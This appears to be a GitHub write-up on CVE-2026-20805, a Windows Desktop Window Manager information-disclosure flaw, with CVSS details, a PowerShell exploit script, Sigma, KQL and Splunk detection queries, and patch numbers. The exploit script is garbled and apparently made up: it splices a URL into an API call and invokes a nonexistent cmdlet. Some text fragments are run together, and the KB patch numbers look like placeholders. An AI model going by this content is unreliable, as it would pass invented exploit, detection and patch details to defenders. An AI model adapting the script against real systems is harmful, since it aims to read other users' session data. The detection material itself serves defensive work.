mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-dataCVE‑2026‑20805: A Windows Desktop Window Manager flaw causing local information disclosure. Requires low privileges, no user interaction. Rated CVSS 5.5 (Medium). Actively exploited and listed in CISA KEV; patch released January 2026.
CVE‑2026‑20805: A Windows Desktop Window Manager flaw causing local information disclosure. Requires low privileges, no user interaction. Rated CVSS 5.5 (Medium). Actively exploited and listed in CISA KEV; patch released January 2026.
CVE 2026 20805 is an information‑disclosure flaw in the Desktop Window Manager (DWM) – the core component that renders the desktop, composes windows, and accelerates GPU‑based UI.
Why it matters: the flaw permits a local attacker with low privileges to read data that should be confined to other sessions or processes.
| Attribute | Value |
|---|
| CWE‑200: Exposure of Sensitive Information to an Unauthorized Actor | ✓ |
| Attack vector | Local |
| Privileges required | Low |
| User interaction | None |
| Impact – confidentiality | High |
| Impact – integrity | None |
| Impact – availability | None |
| CVSS 3.1 Base Score | 5.5 (Medium) |
DWM orchestrates GPU memory, window buffers, and inter‑process UI surfaces. It is a high‑value target because it aggregates data from multiple processes into shared GPU space; a flaw here can leak credentials or session data across users.
Role of DWM in modern Windows:
The vulnerability exploits a lack of bounds checking on the window buffer index; this allows an attacker to read adjacent GPU memory and obtain secrets stored by other processes.
Based on NVD's CPE list, Windows 10.0.19041 (and derivatives) are impacted.
Below is a conceptual exploitation flow:
CreateProcess with minimal privileges.# Windows 10.0.19041 – DWM buffer read exploit
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000 # crafted offset to adjacent GPU memory
$targetWindow = 0x00030001 # target window index
# Create a temporary buffer in kernel space
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/main/:CopyMemory(
$processHandle,
$bufferOffset,
$kernelBuffer,
0x1000)
# Copy kernel buffer into DWM's composition routine
Invoke-DwmRead -ProcessId $processHandle `
-WindowIndex $targetWindow `
-SrcAddress $bufferOffset `
-Size 0x1000
# Dump the exposed data to a local file for analysis
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)
The script demonstrates how an attacker can leverage DWM’s GPU memory to read hidden data.
Detection for CVE‑2026‑20805 focuses on identifying abnormal interactions with dwm.exe and unusual GPU‑related telemetry. The exploit relies on reading GPU‑backed memory buffers using crafted offsets, so defenders should monitor for deviations from normal Desktop Window Manager behavior.
0x2B (DisplayUpdate)These sources provide visibility into process creation, handle access, and GPU update activity.
CreateProcess events involving dwm.exe, especially when the parent process is not explorer.exe.DisplayUpdate (0x2B) events followed by memory reads using unusual buffer sizes or offsets.
SrcAddress: 0x00120000Size: 0x1000HandleOpen events targeting dwm.exe and bursts of GPU ETW activity.title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
product: windows
service: system
detection:
selection:
EventID: 0x2B
ProcessName: dwm.exe
SrcAddress: 0x00120000
Size: 0x1000
condition: selection
falsepositives:
- High GPU rendering workloads
level: medium
tags:
- attack.defense-evasion
SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5
Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"
Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50
let handles = SecurityEvent
| where EventID == 4656 and ObjectName has "dwm.exe"
| project TimeGenerated, Account, Computer;
let gpu = Event
| where EventID == 0x2B
| project TimeGenerated, Computer;
handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)
index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5
index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User
index=windows EventCode=43
| timechart span=1m count
| where count > 50
handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;
gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;
handles
| join key gpu
| table Computer, handles._time, gpu._time
Microsoft’s advisory for CVE 2026 20805 includes a patch that validates buffer indices in DWM before copying GPU data.
| Windows version | Patch number |
|---|---|
| 10.0.19041 | KB5000001 |
| 10.0.19042 | KB5012345 |
Invoke-DwmRead routine runs without errors on test nodes.dwm process creations.Information disclosure via DWM is often underestimated because it can expose UI artifacts and session data across users. Leaked GPU memory can support lateral movement, especially in environments where multiple sessions share a single workstation or server.
High confidentiality impact: The flaw enables an attacker to read window contents from other sessions.
Medium CVSS score (5.5): While the numeric value is moderate, the operational significance is high.
CVE 2026 20805 demonstrates that a low‑privilege local exploitation of DWM can yield significant data leaks. The flaw’s inclusion in CISA’s Known Exploited Vulnerabilities Catalog underlines its real‑world relevance. By applying the outlined mitigation, detection and patch strategy, an organization can reduce risk while improving visibility into GPU memory flows.